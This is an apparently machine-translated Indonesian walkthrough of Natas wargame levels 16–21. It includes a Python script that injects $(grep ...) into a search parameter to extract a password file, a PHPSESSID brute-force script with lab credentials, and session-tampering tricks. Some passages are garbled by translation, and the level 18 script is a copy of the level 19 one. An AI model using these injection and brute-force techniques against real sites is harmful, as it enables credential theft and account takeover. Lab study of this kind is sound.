
Pada artikel ini, kita akan membahas operasi beberapa identitas WEB menggunakan wargame
Natas sebagai contoh. Setiap level memiliki akses ke kata sandi level selanjutnya. Semua kata sandi juga disimpan di file / etc / natas_webpass /. Sebagai contoh, kata sandi untuk natas5 disimpan dalam file / etc / natas_webpass / natas5 dan hanya-baca untuk pengguna natas4 dan natas5.
Bagian sebelumnya:
bagian 1 dan
bagian 2 .
Informasi OrganisasiTerutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:
- PWN;
- kriptografi (Crypto);
- teknologi jaringan (Jaringan);
- membalikkan (Reverse Engineering);
- steganografi (Stegano);
- pencarian dan eksploitasi kerentanan WEB.
Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat
saluran di Telegram dan
grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi
secara pribadi dan akan menjawab semua orang .
Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
level 16
Dilihat oleh kode sumber, semua karakter layanan disaring, dan transfer "perekatan" dari dua file tidak mungkin, karena string ditransmisikan dalam tanda kutip.

Menggunakan konstruksi seperti $ (cmd), Anda dapat mengontrol output dari "kunci".

Idenya adalah ini:
- Jika grep -i "key" file.txt dibangun, kunci adalah string kosong, seluruh file akan ditampilkan.
- Karena hanya ada satu baris dalam file dengan kata sandi, kami dapat mengontrol hasilnya.
- Dengan meneruskan ekspresi reguler ke grep di dalam konstruk $ (cmd), kami akan menampilkan baris dengan kata sandi (ketika kami menebak awal kata sandi) dalam parameter -i dan tidak ada baris yang akan dihasilkan dari dictionary.txt, atau alih-alih baris dengan kata sandi akan berupa string kosong dan seluruh file dictionary.txt akan ditampilkan.
import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd)

Punya kata sandi.
level 17
Kami menggunakan sqlmap sesuai dengan skenario sebelumnya (dari bagian kedua).



Ada kata sandi.
level 18
Mari kita menganalisis kode sumber.

Langkah pertama adalah untuk memeriksa apakah cookie diatur di browser. (Function my_session_start ()).

Karena tidak ada yang mengontrol cookie dalam tugas, maka mereka harus ditetapkan, yaitu, fungsi akan mengembalikan false dan dalam kode root kita akan pergi ke cabang lain. Memeriksa bidang nama pengguna dan kata sandi Fungsi session_id () mengambil angka acak dalam kisaran dari 1 hingga 640 (yang sangat aneh mengapa pembatasan seperti itu) dan membuat pengaturan konfigurasi untuk fungsi session_start ().


Selanjutnya, nama pengguna == βadminβ dicentang. Jika kami masuk sebagai admin, kami diberitahu tentang hal ini dan diberikan kata sandi untuk tingkat selanjutnya.

Ide solusi: rentang id ditentukan untuk pengguna. Kami akan menulis file brute force yang akan masuk ke halaman dengan id dalam rentang dari 1 hingga 640.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

Kami mendapatkan kata sandi dengan id = 119.
level 19
Karena kodenya sama, idenya sama. Mari kita lihat cookie.

String yang disandikan hex. Kami akan memecahkan kode.

Tetap hanya mengubah kode.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

Ada kata sandi.
level 20
Setelah menganalisis kode sumber, kita dapat mengasumsikan bahwa 2 fungsi perlu mendapat perhatian.
Fungsi mywrite () menulis data pada setiap baris sebagai key_value. Tetapi kunci dipilih secara acak, dan nilainya ditransfer dari bidang input.

Fungsi myread () melewati semua baris dan membaca data yang dipisahkan oleh ruang (kunci dan nilai).

Kami akan melihat kata sandi hanya jika baris "admin 1" muncul di file seperti itu. Faktanya adalah bahwa kita dapat mem-bypass logika aplikasi dan menuliskan sebanyak mungkin baris yang kita inginkan. Untuk melakukan ini, kita harus mengirim baris formulir "Value0_TranslationStrings_Key1_Value1, dll."

Setelah nilai ditulis ke file, kami memuat ulang halaman sehingga dibaca dari file.

Kami mengambil kata sandi.
level 21
Kami disediakan dengan dua versi situs. Faktanya adalah cookie dan sesi tersedia untuk transfer antar halaman yang berbeda pada domain yang sama. Kami mempelajari kode sumber situs kedua. Semua parameter yang diterima diatur dalam sesi. Dengan analogi dengan level sebelumnya, Anda harus mengatur admin => 1.

Cukup tambahkan parameter admin baru dengan nilai 1, muat ulang halaman dan letakkan cookie ini di halaman utama.


Kami mengambil kata sandi.
Untuk dilanjutkan. Anda dapat bergabung dengan kami di
Telegram .